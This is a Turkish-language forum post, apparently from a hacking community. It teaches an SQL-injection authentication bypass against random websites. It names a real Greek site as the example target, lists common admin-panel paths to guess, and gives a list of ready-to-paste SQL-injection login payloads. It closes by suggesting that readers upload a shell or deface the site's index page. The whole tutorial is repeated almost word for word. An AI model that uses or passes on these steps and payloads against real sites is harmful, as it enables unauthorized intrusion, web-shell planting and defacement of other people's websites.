Arkadaşlar ilk önce by pass tanımı bildiğimce şudur : sitede oluşan sql hatalarını kullanarak siteyi aldatma yöntemidir diye biliyorum 
Peki nasıl yapılır : ilk önce dorku muzu mübarek google amcada aratıyoruz arattık ve karşımıza siteler çıktı tesadüfen birine giriyoruz (aman türk sitesi olmasın) ve sitenin sonuna kesme işaretini koyuyoruz eğer sql hatası alırsak güzel olur
Şimdi uygulamaya geçelim : sitenin domainine kadar silelim herşeyi örnek : http://www.jetskiworld.gr/gallery.php?id=665
Şuraya kadar silelim http://www.jetskiworld.gr/ ve şunları sitenin sonuna yazalım daha doğrusu deniyelim
/administrator
/login
/controlpanel
/sitepanel
/admin/login.php
/superadmin
Bunları denedik ve birisinde admin paneli çıktı (genelde /admin/login.php yazarsanız çıkma ihtimali daha yüksek olur
Şimdi şunları username ve password yarine yazıyoruz ve deniyoruz
''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
Dedik ve siteye giriş yaptık. Artık siteye shell mi atarsınız direk indexi basar mısınız o size kalmış
Bir teşekkürünüzü esirgemeyin arkadaşlar. Bu arada eğer anlatımda devrik cümlem olduysa özür dilerim arkadaşlar
Peki nasıl yapılır : ilk önce dorku muzu mübarek google amcada aratıyoruz arattık ve karşımıza siteler çıktı tesadüfen birine giriyoruz (aman türk sitesi olmasın
) ve sitenin sonuna kesme işaretini koyuyoruz eğer sql hatası alırsak güzel olurŞimdi uygulamaya geçelim : sitenin domainine kadar silelim herşeyi örnek : http://www.jetskiworld.gr/gallery.php?id=665
Şuraya kadar silelim http://www.jetskiworld.gr/ ve şunları sitenin sonuna yazalım daha doğrusu deniyelim
/administrator
/login
/controlpanel
/sitepanel
/admin/login.php
/superadmin
Bunları denedik ve birisinde admin paneli çıktı (genelde /admin/login.php yazarsanız çıkma ihtimali daha yüksek olur
Şimdi şunları username ve password yarine yazıyoruz ve deniyoruz
''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
Dedik ve siteye giriş yaptık. Artık siteye shell mi atarsınız direk indexi basar mısınız o size kalmış
Bir teşekkürünüzü esirgemeyin arkadaşlar. Bu arada eğer anlatımda devrik cümlem olduysa özür dilerim arkadaşlar
